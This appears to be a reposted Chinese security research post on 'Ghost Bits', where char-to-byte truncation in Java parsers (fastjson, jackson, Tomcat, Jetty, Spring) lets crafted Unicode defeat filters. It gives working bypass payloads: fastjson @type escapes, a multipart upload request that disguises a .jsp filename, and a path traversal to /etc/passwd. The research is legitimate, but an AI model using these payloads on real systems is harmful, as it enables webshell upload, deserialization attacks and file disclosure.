转载自微信公众号,作者:珂技知识分享 | 原文:点击查看
https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
1,fastjson \x4_ bypass
我们都知道fastjson有这样的绕过payload
{"\x40type":"java.awt.Rectangle"}
它的解析方式是构造一个new int[103],在0-9A-Fa-f处占位。

但是没占位的地方都是int 0,因此\x40解析就是这样的。

digits[4]*16+digits[0]=0x40
那么既然所有没占位的地方都是int 0,这里也没必要填0啊,任意非hex数都可以,比如J。
digits[4]*16+digits[(int)'J']=0x40
效果就是这样的。

2,fastjson \u0040 bypass
fastjson还支持另外一种绕过payload
{"\u0040type":"java.awt.Rectangle"}
解析如下

跟进会发现

Character.digit是用来获取hex字符的。
Character.digit('A', 16); // 10
Character.digit('f', 16); // 15
Character.digit('9', 16); // 9
Character.digit('G', 16); // -1(G不是16进制字符)
Character.digit('z', 16); // -1
然而最终用了一个简便算法

因为传进去的是char,char在0-65535范围内有非常多的字符可以冒充hex字符。

最终的bypass效果是这样的。

3,jackson \u0040 bypass
jackson也支持\u0040的写法,但解析却跟fastjson不一样,是个标准Ghost Bits。
{"\u006b\u0065\u0079":"\u0076\u0061\u006c\u0075\u0065"}
ReaderBasedJsonParser._decodeEscaped() line: 2693

跟进CharTypes.charToHex(int) line: 272

可以看到是ch & 0xFF,这就标准Ghost Bits写法,如果ch是char范围,将会丢失高位转成byte,原理是这样的。

我们可以指定中文范围构造Ghost Bits,效果如下。

不过jackson有个问题,那就是ch来自_inputBuffer,本地上测试走ReaderBasedJsonParser,_inputBuffer就是char[]可以利用。

打springboot的时候,默认是UTF8StreamJsonParser,_inputBuffer就是byte[]不能利用。

不过聪明的你应该能想到办法吧。
4, BCEL bypass
还记得com.sun.org.apache.bcel.internal.util.ClassLoader吗?以$$BCEL$$开头的字符串型classloader。它的原理实际上是gzip压缩的class byte[],只不过以特定格式加上了很多$。看它的解析代码。

有ByteArrayOutputStream.write,这个也是Ghost Bits的常见来源,它在内部直接char强转byte,丢失了高位。

那么就可以将gzip压缩后的class byte[]全部转换成中文,效果如下。

5,tomcat upload bypass
熟悉tomcat 文件上传bypass的人一定知道这个bypass方法
POST /upload/img HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 185
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycCYhwj56XpogMIa0
------WebKitFormBoundarycCYhwj56XpogMIa0
Content-Disposition: form-data; name="file";filename*="UTF-8''1.jsp"
Content-Type: image/png
test
------WebKitFormBoundarycCYhwj56XpogMIa0--
org.apache.tomcat.util.http.fileupload.util.mime.RFC2231Utility.fromHex(String) line: 137

可以看到这里也是用的ByteArrayOutputStream.write,而且还支持URL编码,也就是1.%6asp,URL编码的算法是ch & 0x7f,可以说是双重Ghost Bits。
filename*="UTF-8''1.jsp"
filename*="UTF-8''1.%6asp"
filename*="UTF-8''1.%鸶繡sp"
filename*="UTF-8''1.汪癳絰"


同理,可以利用这个原理在开启allowCasualMultipartParsing的情况下,隐藏参数(不能隐藏值),通常利用在CVE-2022-22965中。

springboot能不能利用这个原理呢?答案是不行,这里有个校验。
org.springframework.http.ContentDisposition.decodeFilename(String, Charset) line: 475

6, URLDecoder bypass
jdk自带的URLDecoder.decode同样有char可以代替hex字符,原理和fastjson的fastjson \u0040 bypass原理一样。

效果如下。

7,j etty URLDecoder bypass
在一些jetty组件的历史bypass漏洞中,可以用%2>代替%2e,这是怎么回事呢?
其实就是org.eclipse.jetty.util.URIUtil.decodePath方法的问题。
跟进TypeUtil.parseInt(String, int, int, int) line: 281

char c传到到TypeUtil.convertHexDigit(int) line: 373

可以看到又是一个简便算法,可代替的字符如下。

可见字符中比较明显的特征就是
9=@
9=`
a=:
b=;
c=<
d==
e=>
f=?
8,j etty springboot bypass
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2025-41242/README.zh-cn.md
p牛第一时间做的靶场,很贴近实战。如果访问/阮严灵丰丰甲来/会发生什么呢?
StringUtils.uriDecode(String, Charset) line: 804

这里会依次对【/a/b/c】中的a和b和c进行解码,baos.write(ch)存在Ghost Bits问题。但要注意,这里changed必须为true,否则会直接返回source,所以理论上真正的payload应该是这样的。
/%2e严灵丰丰甲来/
它等同于
/.%u002e/
单独使用下面这个是不会发生Ghost Bits的。
/阮严灵丰丰甲来/
不过后面还有一次对【/a/b/c】的总体解码

所以URL编码有一个就够了,这也是原本payload为什么结尾非要%64,当然,编码别的地方也行。
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
解码完之后进入PathResource.resolve(String) line: 286。

这里存在normalizePath检测,因此如果直接做【../】这里没法通过,这也是为什么我们要用【严灵丰丰甲来】做出%u002e的原因。
addPath的时候进入URIUtil.encodePathSafeEncoding(String) line: 1481 ,这里就是对%u002e的处理,最终变成%2e。


这里还有另外一个tips,正常new File("./.%2E/windows/win.ini")也是不行的,但这里刚好用了URI,它刚好支持%2E。

整个流程差不多就是这样的。
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
/.%u002e/.%u002e/.%u002e/etc/passwd
/.%2e/.%2e/.%2e/etc/passwd
/../../../etc/passwd
哎,URIUtil.encodePathSafeEncoding处理%u002e的时候有没有Ghost Bits的问题呢?比较遗憾,前面有个TypeUtil.isHex的检测导致没法二次变形。

9, httpClient CRLF
还记得这个挑战吗?httpClient的CRLF也是利用了Ghost Bits。

原理是这样的
ByteArrayBuffer.append(char[], int, int) line: 139

典型的char强转byte导致高位丢失。
10,扩展一下
原理知道了,可以发现Ghost Bits比较容易出现在解码\u0040这种unicode的时候,还有哪些呢?
Nashorn行不行?
payload1 = "\\u006aava.lang.Runtime.getRuntime().exec('calc')";
发现jdk.nashorn.internal.parser.Lexer.convertDigit()中限制死了。

jsp行不行?
org.eclipse.jdt.internal.compiler.parser.Scanner.getHexadecimalValue()中有校验

JAVA安全网